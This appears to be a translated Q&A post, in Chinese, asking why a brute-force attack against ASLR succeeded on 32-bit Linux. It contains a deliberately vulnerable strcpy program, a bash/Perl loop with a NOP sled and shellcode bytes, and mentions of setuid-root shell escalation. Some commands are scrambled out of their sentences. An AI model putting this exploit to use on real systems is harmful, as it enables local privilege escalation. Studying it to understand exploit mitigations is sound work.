我刚刚阅读了有关地址空间布局随机化的内容,并尝试了一个非常简单的脚本来尝试暴力破解它。这是我用来测试一些东西的程序。
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}
我用这个命令编译它:
gcc -g -fno-stack-protector -o vul vul.c
我确保启用了 ASLR:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
然后,我想出了这个简单的脚本:
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done
格式是
return address many times | 64KB NOP slide | shellcode that runs exit(1)
运行此脚本几秒钟后,它会以我想要的错误代码 1 退出。我还尝试了其他调用 execv("/bin/sh", ...) 的 shellcode,我也成功了。
我觉得很奇怪,即使在返回地址之后也可以创建这么长的 NOP 幻灯片。我认为 ASLR 更有效,我错过了什么吗?是不是因为地址空间太小了?
编辑:我做了一些额外的研究,这是我发现的:
我请朋友在他的 64b 计算机上运行此代码
-m32 -z execstack
,稍微更改返回地址后,他得到了相同的结果。即使我没有使用
-z execstack
,我还是设法执行了 shellcode。我通过使用不同的 shellcode 来确保这一点,这些 shellcode 都做了他们应该做的事情(即使是众所周知的场景chown root ./vul
,,然后chmod +s ./vul
运行的 shellcode,最后在生成的 shell 中返回“root”)。这很奇怪,因为告诉我可执行堆栈标志位未设置。有谁知道为什么?setreuid(0, 0)
execv("/bin/sh", ...)
whoami
execstack -q ./vul